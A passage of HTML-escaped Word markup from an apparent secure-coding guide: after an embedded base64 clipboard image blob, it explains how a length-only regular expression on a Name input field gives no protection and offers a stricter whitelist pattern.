vlcF&amp;#13;&amp;#10;2QnrpNEpjXt9SoRmhkudpfTtdXkzocRVoDkURouUHoSj89n11RSSzEKZS0YQQbsEUppXVZlEkWO5&amp;#13;&amp;#10;UOB6phQa7zbGKqjwaLOIW/hEZFVEg35/HCmQms46qAVUQLZWngFVGPYu+D3oHTiELFgSZlqOBbsc&amp;#13;&amp;#10;GRK9e7TlS7m2njl72q0tkTylqJwGhRLRqL1on+ExOqnKOoD9xir/3mw2ZF+jHPy3xhD7ijBMjoaT&amp;#13;&amp;#10;8bCPDRjexeP4bjBqX7D8+Zc6lj/8UYmEmsYYBGRaS5cWB/Gk/Ki1yXXmdOLBceKFBKxUZBSMHpZ1&amp;#13;&amp;#10;CoRZ36BtGIQX7ABvaKD9PFOJFcWKu9Z5TJxh/RGwBbH/gUAfJRMLw7ZK6KrZc6QCFf5gLpelo8Qm&amp;#13;&amp;#10;HNnYFY99XJg6RjFt8uHq+NbHrImHXtPapVo7L0949spdskLfF6GzB3uc/ENh1x8svgAAAP//AwBQ&amp;#13;&amp;#10;SwMEFAAGAAgAAAAhAAShed0KAQAAdAMAACoAAABjbGlwYm9hcmQvZHJhd2luZ3MvX3JlbHMvZHJh&amp;#13;&amp;#10;d2luZzEueG1sLnJlbHO0k89KxDAQh++C7xDmbtOufxDZdA8uwoIXdX2AIZm2YdOkJqnYtzcUXSyU&amp;#13;&amp;#10;etm9BJKP/OZjMllvvlrDPskH7ayAIsuBkZVOaVsLeN8/Xd0DCxGtQuMsCRgowKa8vFi/ksGYLoVG&amp;#13;&amp;#10;d4GlFBsENDF2D5wH2VCLIXMd2UQq51uMaetr3qE8YE18led33P/NgHKSyXZKgN+pa2D7oUuV/892&amp;#13;&amp;#10;VaUlbZ3sW7JxpgRXGmuP7Uuv5eEtDoZSOPqaooAs+6WBfxx5kSV/4PNqqzOoPePg+jivZUa2qFSc&amp;#13;&amp;#10;QWmLEeeFVCKLOren1IlpqKYPNp7wcV3UuDmlxs8MPTrjfJjvixzZUYlP/kr5DQAA//8DAFBLAwQU&amp;#13;&amp;#10;AAYACAAAACEAA8CiPBEEAADfQQAAHgAAAGNsaXBib2FyZC9kaWFncmFtcy9jb2xvcnMxLnhtbOyc&amp;#13;&amp;#10;XU/bMBSG7yftP0S+H2kZIFYREB+rhITQpLHryU2cNMJxMtuF8u9nO5/toKWxuzTF3JQmyrHz5Pj1&amp;#13;&amp;#10;8fFJzy7mCXaeEGVxSjwwPBgABxE/DWISeeDXw/jLKXAYhySAOCXIAy+IgYvzz5/OgigZ+SlOKbtB&amp;#13;&amp;#10;oSOsEDYSxzww5TwbuS7zpyiB7CDNEBFnw5QmkIuvNHIDCp+F/QS7h4PBiRvEMKIwAYUR2MJEAmMC&amp;#13;&amp;#10;nBmJ/8zQbeCBGSWjJPZpytKQH/hp4qZhGPuo+ICUy6aP3VM3vwUX+j4ifPj7EJyrO+Mxx8h5gtgD&amp;#13;&amp;#10;wM0PBYj5i0d8yO8Yz8+K/x3+kglChSngZDQWRIeiIWnCVcAaVzD+gtHdBDsEJuIykgZoULQexhhf&amp;#13;&amp;#10;YyqMOwniUw9QlCHIxVk4UlyROJv3pWytbKG+NO8Xjsk7LWE+rPpZXZUbQWGIfJ7bKWjw+V1puToy&amp;#13;&amp;#10;rrpdHfq+eKWCUN54brv8VmCAOI7IvWAx7JLFMtXueEi36BTFbrgF7t4ndgPEEyK6KKSKQJxNYa4g&amp;#13;&amp;#10;xwPxp0Z+Q1wKveq7msjRU0p6fS8fTlQlhq9d6ulujB2J4chiCKPbJPqBoa8zsUgR4THhfdGQtWO+&amp;#13;&amp;#10;6aJ8XocyeZTC5+0iGUv635DVOOmJdehXVgbGMbN48kAhYYc3GgHpom6cbCX2KKP397fVXXwfRj8t&amp;#13;&amp;#10;VrXUrdaMtfZWhzYW34nFWqz7K4YmsJYSMNSRANEjlQeoA/JNUxXlAC8t6Q7ftcEBn9e5ESPBgQ8x&amp;#13;&amp;#10;TmcyoyPTQjWJtT1ZvvX60rYQF1Vy1Wqwf5ghY9wm1YDEoDFnl8Osva81YxFdL6oEbeNJQWKw2QDl&amp;#13;&amp;#10;DTYboDDYbADIIL2e2rhe7LVUwjKu9jHWTsdNYTMSGDQfR6datRxo6Mp2tyg71bv9QtmpZu4Tyh1Z&amp;#13;&amp;#10;RKnU0RQGxXb3qpTM1jXA+DqrltPhzU7I6YehvROKu0T7dEW6sd++vROivNe0w+jS91ssomWEKME0&amp;#13;&amp;#10;dty/rXDD9mvs/z41Bo+mk2IpGVvKSwVeximrCivry7I8sS6jM06Z00tZyWaM85HVjDzBvVQvOLGC&amp;#13;&amp;#10;sW3BYCmOAx1h1s8f939uUxA1JcFy9IDieKUx6C1ED6hYdpyKLcjne7364rci22Zx2HanLt0ebH3d&amp;#13;&amp;#10;Zzy0KAM4+wBVGUH/HqCKWezT6+nTU+LZoqjAJgLkC03l9FuG8a8G9Qpxi3StRbwZ4hY5Wot4M8Qt&amp;#13;&amp;#10;ErMW8bsRizLPada+iE7GjvVLDNuNU0vh61+4Ejxe6WNm9Q7jql2YHqW/5TAtH6qR0g9ODXCu3bmq&amp;#13;&amp;#10;5FzYe9gTJzcOX9Thm1OSVXvo7T28ec/9UxGKnh7mm0v1K5Oh+ZdV5RJ9KY/wViNbB69XAqHWVPlv&amp;#13;&amp;#10;GoifZTj/CwAA//8DAFBLAwQUAAYACAAAACEAWcukmtsDAAANUQAAIgAAAGNsaXBib2FyZC9kaWFn&amp;#13;&amp;#10;cmFtcy9xdWlja1N0eWxlMS54bWzsnN1O2zAUx+8n7R0i34+0sE2oIkV8qBISQoixB3AdJ7Vw7GC7&amp;#13;&amp;#10;UN5+tpOmTGKioYQ54dy0aZrj1P7Z5xz/7fToeFXw6IEqzaRI0HhvhCIqiEyZyBP0+3b27RBF2mCR&amp;#13;&amp;#10;Yi4FTdAT1eh4+vXLUZoXE22eOD2nWWQLEXpiTyVoYUw5iWNNFrTAek+WVNhvM6kKbOxHlcepwo+2&amp;#13;&amp;#10;+ILH+6PRzzhlOFe4QHUh+A1FFJgJFC0Fu1/SizRBSyUmBSNKapmZPSKLWGYZI7R+w8q4W/+ID+P7&amp;#13;&amp;#10;JSN3vhqxZkXJ6RhNfdUMM5xGD5gnCMXVqZRq8vcZgs2lNtW39jgyT6VtoqogFJWK2RYdjUcjV0Ls&amp;#13;&amp;#10;Guy5gSZU0IN0eoTt6YIqbA20SZBUZiFti5QLRmZKCuOs8YSzfGFuWB4pZsmYhaL02qAoZcp+am7Q&amp;#13;&amp;#10;FNrguZzzSNjyEyRkSkd19Zrrurt5eZDWDWdW16o+9E3tqyNubL9h6SpB+/Y34YkmKp+fcRXZ+thO&amp;#13;&amp;#10;aOtoX+fu1TWerb8zcBdmjPPG1uF63bY2cZfSLKPENPauPV63b4z8/S2Sxr5gQqq6DNvhqauA7zTc&amp;#13;&amp;#10;jOsfnlXX1z2gbgDfG/yx5VN1oPWnmhYXV5bXujsCr6qvhMvrgQog9pEjzKx2HGHYulRA9pHIdnaK&amp;#13;&amp;#10;LoSBS+xLCHO0XHD3uUj32Q4kHFWm9MaEw9E6AFo9SQ8dre9Aqye0svyiyK85JhC9mrnUeyb0zvE1&amp;#13;&amp;#10;M97nx/+aXfncD5jUU+owmMxhkDhho7OEvPUg0Wx+q7DQ++ch5tzbSQGfTTbK8l9ArdNh5ManV7ff&amp;#13;&amp;#10;UeybA7VK1e3M+XVBbe0fx0H6x+2k8Zf943a+tWtZvXXAIphzuTQwLepgWtQaBtbauH4E6s9muWi7&amp;#13;&amp;#10;cdWk485p1WpONVvqbrnJ0Qoxy4PFwc1K+2Yp19ECZbUvOrijBcpqn2iBstoXWiVWZ4uAVQqIXy/F&amp;#13;&amp;#10;r+fUII71caxBPOsjNYhr/aMWprq0S1zbbhYcnLq0CVrj86EFrQEgGVpEGgCSoYWbniLJ8hNCQNzr&amp;#13;&amp;#10;IvS3VsWJFDPA0dWDGK1x+H1AMDo6ei6mNQ6jTtym/ECB7LKiup1tcDnvHHxVML5KS85SCB6dbRFp&amp;#13;&amp;#10;7a08kJAd1i6T9J46LM/kFLxWMF7LTz5m0m7MebyCp7dCSbTWeS+A8Q+ThxNTfMIFVAKj4p2YU39g&amp;#13;&amp;#10;M9t7b2ZrnXV5FkPT33uabXkWQxPe+8xiaIp7T1nY5zkWZYDhYrsFjJefCegpivTuFGCEMu0wCmAE&amp;#13;&amp;#10;NDMP00l9QtVK0Yfb1cDixXax5v+ueGz+NMD+i+H0DwAAAP//AwBQSwMEFAAGAAgAAAAhAEl9Y950&amp;#13;&amp;#10;BQAAdhoAAB4AAABjbGlwYm9hcmQvZGlhZ3JhbXMvbGF5b3V0MS54bWzUWe1u2zYU/T9g7yDo/yJ/&amp;#13;&amp;#10;JFlg1Ck6pMEKJO6wZA9AU5SlgSJVkk6cPv0uv0TKlh3LXdH0TytS5P3gPffwyHn3flPT5IkIWXE2&amp;#13;&amp;#10;T8dnozQhDPO8Yqt5+s/j7W9XaSIVYjminJF5+kJk+v7611/e5at6RtELX6sbUiRghckZzM3TUqlm&amp;#13;&amp;#10;lmUSl6RG8ow3hMHbgosaKRiKVZYL9Az2a5pNRqPLLK/QSqA6dUbQCSZqVLE0WbPqy5p8yufpWrBZ&amp;#13;&amp;#10;XWHBJS/UGeZ1xouiwsT9h4TSri+yq8ymkJV3lVTj9NqkpSpFSfKE6DxNMzuVE4m7MxipO6nsW3hO&amp;#13;&amp;#10;1EsDx0PBTJo0opqnF6PRyG8PCzBncNrbazJ9mrFFiermBinkvMPTPc8JtcMmeG5UUusXOmkonQ0i&amp;#13;&amp;#10;59g7jt/79BrxQFTSlDQXUHG90rhvXDKdLafsmbhjHODnlC0nhDY5wc90eDbTE0KbHhGaK1OA3YbF&amp;#13;&amp;#10;zwEJ59CzAjtMAHSVfhybyc/CIkXPumcHcbxhwcJFn4VJsADGXrFw2WdhGiyAsVcsjO1qF3ubxqA8&amp;#13;&amp;#10;xuEoXMjG3KBMJiEOF7S2MRkUxyTEEdsYFMc0xAFP/jwAbLrYR9Z1GuKIbRyKw3JTBLXlyiHmueSU&amp;#13;&amp;#10;ePrIA0eZHV0Gk+qFkjdAaP9nl4VyAPP6cgyqRihGZOF71KJ7+piKn6MU+laMr6MTuPj8dfo+mlZ7&amp;#13;&amp;#10;SXFQwXtJ8VDBjS6Iifn3b6ZVLeh2LgeLREMijhfC5XAiAXRQZmXWAqRKwlANQmkB/45cbZ6QaO+x&amp;#13;&amp;#10;vBKOXRCr6rsnEKdah9En6iWNILL6Sv4ESUqJtG/JBmHVCpnYHC45l7FPfzVXRRQIVKBYMzxPYWua&amp;#13;&amp;#10;IAHSF+JIE97MU/JlnVovDCSsixjRVSv4WOu4Kqw+I7Tj0qO2u8lJOQTKN5i60V5NwoXg9d+tZdjq&amp;#13;&amp;#10;VJq27R5tbtaOLFFDnIAGVfe6Brd6+IbjdU2YUcOXmSAUKfgOkGXVyDQRsyWt4AR8zvm/UCVP98ah&amp;#13;&amp;#10;ywEq8rlwVQN9K1Uopx26BEs4Zg7RYfugIQADXjdcVoqAQ1I8GhVd+lp3tj8fu/354HZgamPIum+Q&amp;#13;&amp;#10;eNz0rvfR9q1vkdHJ2qXp4+xuhNEgR3b9QUfwmVHfcqYevrqT6Xq0qVk4XV705igJPmDAhdCWJfYH&amp;#13;&amp;#10;k7e6lsalHcQHejDugyd7krcC+h8+gM6uerPs9/ct2Vl/4zP4oDiEgA7QZYNwDHKAiT9EvS4+w6gn&amp;#13;&amp;#10;WgryKYKi9T241WtiTUnLo3qwhcdONJELwzcgQKyHBVqkSY02mqIXPrvIWgwC0837QQf35R6b5krp&amp;#13;&amp;#10;xAumPiJcRqQMVxLaVNLSRaMsMzC4QRwf7VwpISXLS4FvwxtXrZ+CLqnr6k7d9vOVp52e5YFZ+6lR&amp;#13;&amp;#10;DfPUG5htp6O7Ybv7DnTD/pR749623PaWRVLcZ61lK3G6V1cHnlEDgD3TMZ8WtwPwvYNWx87mw+hu&amp;#13;&amp;#10;CRIH0WrFtELyEqWrY+7RxvoNPyqVf0EyW5PLNaVEfWRoSUlu34WfeGKLoTtUe//ZtrA/IgkCkuqH&amp;#13;&amp;#10;KgrX/pLQAn5Siwmgg7KW8jpiwVbdkgZgS9Mo1RrD06hhUaOuTdVbhdIx7WbVPUjCSJ50KNDdPPD7&amp;#13;&amp;#10;Td/W5dFbvy8EjfWAQUuQYexo17XOFiY/YBAJlPLnfeA8DXNOPEYCWKo/DHpB9bseC9A1CljX601i&amp;#13;&amp;#10;FA5uOEQj8WUIZY9Gi9EG/W4hHfb2oa5fP9MjsHjeD+NjOmDP1mM64HI6VNMMJ+GdDtiZ0OjalSEg&amp;#13;&amp;#10;YqwMKUwPPFTLUGlZLR8FYlB7zEB/euLe6Ssr/bZViWw8Zbw9OeJQpa+96KMvJOY+Qd1x9Y52FtsJ&amp;#13;&amp;#10;+GvR9X8AAAD//wMAUEsDBBQABgAIAAAAIQDhUTcfzwYAAOYbAAAaAAAAY2xpcGJvYXJkL3RoZW1l&amp;#13;&amp;#10;L3RoZW1lMS54bWzsWc1v3EQUvyPxP4x8b7PfzUbdVNnNbgNt2ijZFvU4a8/a04w91sxs0r2h9oiE&amp;#13;&amp;#10;hCiIA5W4cUBApVbiUv6aQBEUqf8Cb2ZsryfrkLSNoILmkLWff/O+35uvy1fuxQwdECEpT3pe/WLN&amp;#13;&amp;#10;QyTxeUCTsOfdGo8urHpIKpwEmPGE9Lw5kd6V9fffu4zXfEbTCcciGEckJggYJXIN97xIqXRtZUX6&amp;#13;&amp;#10;QMbyIk9JAt+mXMRYwasIVwKBD0FAzFYatVpnJcY08daBo9KMhgz+JUpqgs/EnmZDUIJjkH5zOqU+&amp;#13;&amp;#10;Mdhgv64Rci4HTKADzHoe8Az44ZjcUx5iWCr40PNq5s9bWb+8gteyQUydMLY0bmT+snHZgGC/YWSK&amp;#13;&amp;#10;cFIIrY9a3UubBX8DYGoZNxwOB8N6wc8AsO+DpVaXMs/WaLXez3mWQPZxmfeg1q61XHyJf3NJ526/&amp;#13;&amp;#10;3293M10sUwOyj60l/Gqt09poOHgDsvj2Er7V3xgMOg7egCy+s4QfXep2Wi7egCJGk/0ltA7oaJRx&amp;#13;&amp;#10;LyBTzrYq4asAX61l8AUKsqHILi1iyhN1Uq7F+C4XIwBoIMOKJkjNUzLFPuTkAMcTQbEWgNcILn2x&amp;#13;&amp;#10;JF8ukbQsJH1BU9XzPkxx4pUgL599//LZE3R0/+nR/Z+OHjw4uv+jZeSM2sJJWB714tvP/nz0Mfrj&amp;#13;&amp;#10;yTcvHn5RjZdl/K8/fPLLz59XA6F8FuY9//Lxb08fP//q09+/e1gB3xB4UoaPaUwkukEO0S6PwTDj&amp;#13;&amp;#10;FVdzMhGvNmIcYVoesZGEEidYS6ngP1SRg74xxyyLjqNHn7gevC2gfVQBr87uOgrvRWKmaIXka1Hs&amp;#13;&amp;#10;ALc5Z30uKr1wTcsquXk8S8Jq4WJWxu1ifFAle4ATJ77DWQp9M09Lx/BBRBw1dxhOFA5JQhTS3/g+&amp;#13;&amp;#10;IRXW3aHU8es29QWXfKrQHYr6mFa6ZEwnTjYtBm3RGOIyr7IZ4u34Zvs26nNWZfUmOXCRUBWYVSg/&amp;#13;&amp;#10;Jsxx41U8UziuYjnGMSs7/DpWUZWSe3Phl3FDqSDSIWEcDQMiZdWYmwLsLQX9GoaOVRn2bTaPXaRQ&amp;#13;&amp;#10;dL+K53XMeRm5yfcHEY7TKuweTaIy9gO5DymK0Q5XVfBt7laIfoc44OTEcN+mxAn36d3gFg0dlRYJ&amp;#13;&amp;#10;or/MhI4ltGqnA8c0+bt2zCj0Y5sD59eOoQE+//pRRWa9rY14A+akqkrYOtZ+T8Idb7oDLgL69vfc&amp;#13;&amp;#10;TTxLdgik+fLE867lvmu53n++5Z5Uz2dttIveCm1XrxvsotgskeMTV8hTytiemjNyXZpFsoR5IhgB&amp;#13;&amp;#10;UY8zO0FS7JjSCB6zvu7gQoHNGCS4+oiqaC/CKSyw655mEsqMdShRyiVs7Ay5krfGwyJd2W1hW28Y&amp;#13;&amp;#10;bD+QWG3zwJKbmpzvCwo2ZrYJzeYzF9TUDM4qrHkpYwpmv46wulbqzNLqRjXT6hxphckQw2XTgFh4&amp;#13;&amp;#10;ExYgCJYt4OUO7MW1aNiYYEYC7Xc79+ZhMVE4zxDJCAcki5G2ezlGdROkPFfMSQDkTkWM9CbvFK+V&amp;#13;&amp;#10;pHU12zeQdpYglcW1ThCXR+9NopRn8CJKum6PlSNLysXJEnTY87rtRttDPk573hT2tPAYpxB1qdd8&amp;#13;&amp;#10;mIVwGuQrYdP+1GI2Vb6IZjc3zC2COhxTWL8vGez0gVRItYllZFPDfMpSgCVaktW/0Qa3npcBNtNf&amp;#13;&amp;#10;Q4vmKiTDv6YF+NENLZlOia/KwS5RtO/sa9ZK+UwRsRcFh2jCZmIXQ/h1qoI9AZVwNGE6gn6BczTt&amp;#13;&amp;#10;bfPJbc5Z0ZVPrwzO0jFLI5y1W12ieSVbuKnjQgfzVlIPbKvU3Rj36qaYkj8nU8pp/D8zRc8ncFLQ&amp;#13;&amp;#10;DHQEfDiUFRjpeu15XKiIQxdKI+qPBCwcTO+AbIGzWPgMSQUnyOZXkAP9a2vO8jBlDRs+tUtDJCjM&amp;#13;&amp;#10;RyoShOxAWzLZdwqzejZ3WZYsY2QyqqSuTK3aE3JA2Fj3wI6e2z0UQaqbbpK1AYM7nn/ue1ZBk1Av&amp;#13;&amp;#10;csr15vSQYu61NfBPr3xsMYNRbh82C5rc/4WKFbOqHW+G53Nv2RD9YbHMauVVAcJKU0E3K/vXVOEV&amp;#13;&amp;#10;p1rbsZYsbrRz5SCKyxYDsVgQpXDeg/Q/mP+o8Jm9bdAT6pjvQm9FcNGgmUHaQFZfsAsPpBukJU5g&amp;#13;&amp;#10;4WSJNpk0K+vabOmkvZZP1ue80i3kHnO21uws8X5FZxeLM1ecU4vn6ezMw46vLe1EV0Nkj5cokKb5&amp;#13;&amp;#10;RsYEpurWaRunaBLWex7c/ECg78ET3B15QGtoWkPT4AkuhGCxZG9xel72kFPgu6UUmGZOaeaYVk5p&amp;#13;&amp;#10;5ZR2ToHFWXZfklM60Kn0FQdcsekfD+W3GbCCy24/8qbqXM2t/wUAAP//AwBQSwECLQAUAAYACAAA&amp;#13;&amp;#10;ACEAepYiB0cBAABVBAAAEwAAAAAAAAAAAAAAAAAAAAAAW0NvbnRlbnRfVHlwZXNdLnhtbFBLAQIt&amp;#13;&amp;#10;ABQABgAIAAAAIQCtMD/xwQAAADIBAAALAAAAAAAAAAAAAAAAAHgBAABfcmVscy8ucmVsc1BLAQIt&amp;#13;&amp;#10;ABQABgAIAAAAIQCCe2BRvxAAAM9eAAAcAAAAAAAAAAAAAAAAAGICAABjbGlwYm9hcmQvZGlhZ3Jh&amp;#13;&amp;#10;bXMvZGF0YTEueG1sUEsBAi0AFAAGAAgAAAAhAPWBrIuOAQAASAQAAB8AAAAAAAAAAAAAAAAAWxMA&amp;#13;&amp;#10;AGNsaXBib2FyZC9kcmF3aW5ncy9kcmF3aW5nMS54bWxQSwECLQAUAAYACAAAACEABKF53QoBAAB0&amp;#13;&amp;#10;AwAAKgAAAAAAAAAAAAAAAAAmFQAAY2xpcGJvYXJkL2RyYXdpbmdzL19yZWxzL2RyYXdpbmcxLnht&amp;#13;&amp;#10;bC5yZWxzUEsBAi0AFAAGAAgAAAAhAAPAojwRBAAA30EAAB4AAAAAAAAAAAAAAAAAeBYAAGNsaXBi&amp;#13;&amp;#10;b2FyZC9kaWFncmFtcy9jb2xvcnMxLnhtbFBLAQItABQABgAIAAAAIQBZy6Sa2wMAAA1RAAAiAAAA&amp;#13;&amp;#10;AAAAAAAAAAAAAMUaAABjbGlwYm9hcmQvZGlhZ3JhbXMvcXVpY2tTdHlsZTEueG1sUEsBAi0AFAAG&amp;#13;&amp;#10;AAgAAAAhAEl9Y950BQAAdhoAAB4AAAAAAAAAAAAAAAAA4B4AAGNsaXBib2FyZC9kaWFncmFtcy9s&amp;#13;&amp;#10;YXlvdXQxLnhtbFBLAQItABQABgAIAAAAIQDhUTcfzwYAAOYbAAAaAAAAAAAAAAAAAAAAAJAkAABj&amp;#13;&amp;#10;bGlwYm9hcmQvdGhlbWUvdGhlbWUxLnhtbFBLBQYAAAAACQAJAJkCAACXKwAAAAA=&amp;#13;&amp;#10;"&gt;&lt;FONT face=Calibri&gt;&lt;v:imagedata o:title="" src="file:///C:\Users\anmolm\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png" cropbottom="-67418f" croptop="-66947f"&gt;&lt;/v:imagedata&gt;&lt;o:lock aspectratio="f" v:ext="edit"&gt;&lt;/o:lock&gt;&lt;/FONT&gt;&lt;/v:shape&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H1 style="MARGIN: 24pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485143&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;Regular expressions&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H1&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoCommentText style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt"&gt;&lt;FONT face=Calibri&gt;Regular expressions provide a powerful, flexible, and efficient method for processing text. The extensive pattern-matching notation of regular expressions allows you to quickly parse large amounts of text to find specific character patterns, to extract, edit, replace, or delete text substrings, or to add the extracted strings to a collection in order to generate a report. For many applications that deal with strings (such as HTML processing, log file parsing, and HTTP header parsing), regular expressions are an indispensable tool.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Let’s analyze this regular expression used for validation, implemented by a developer on a Name input field:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-INDENT: 0.5in"&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;FONT face=Calibri size=3&gt;string regExPattern= \&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Lucida Console'; mso-bidi-font-family: 'Courier New'; mso-ansi-language: EN-US"&gt;.{1,500}$&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 7.5pt; FONT-FAMILY: 'MS Shell Dlg','sans-serif'"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 7.5pt; FONT-FAMILY: 'MS Shell Dlg','sans-serif'"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;The regular expression serves only as the length delimiter.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;It provides no protection in terms of character type. &lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;This example merely limits the attacker to a maximum payload of 500 characters. &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Ideally the regExPattern should have been declared as follows:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;string regExPattern = ^[a-zA-Z''-'\s]{1,40}$&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;This only allows &lt;SPAN style="COLOR: #303030"&gt;one or more alphabetical characters, which further&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 7.5pt"&gt; &lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="COLOR: #303030"&gt;&lt;FONT size=3&gt;validates the input as a name. It allows up to 40 uppercase and lowercase characters and a few special characters that are common to some names.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
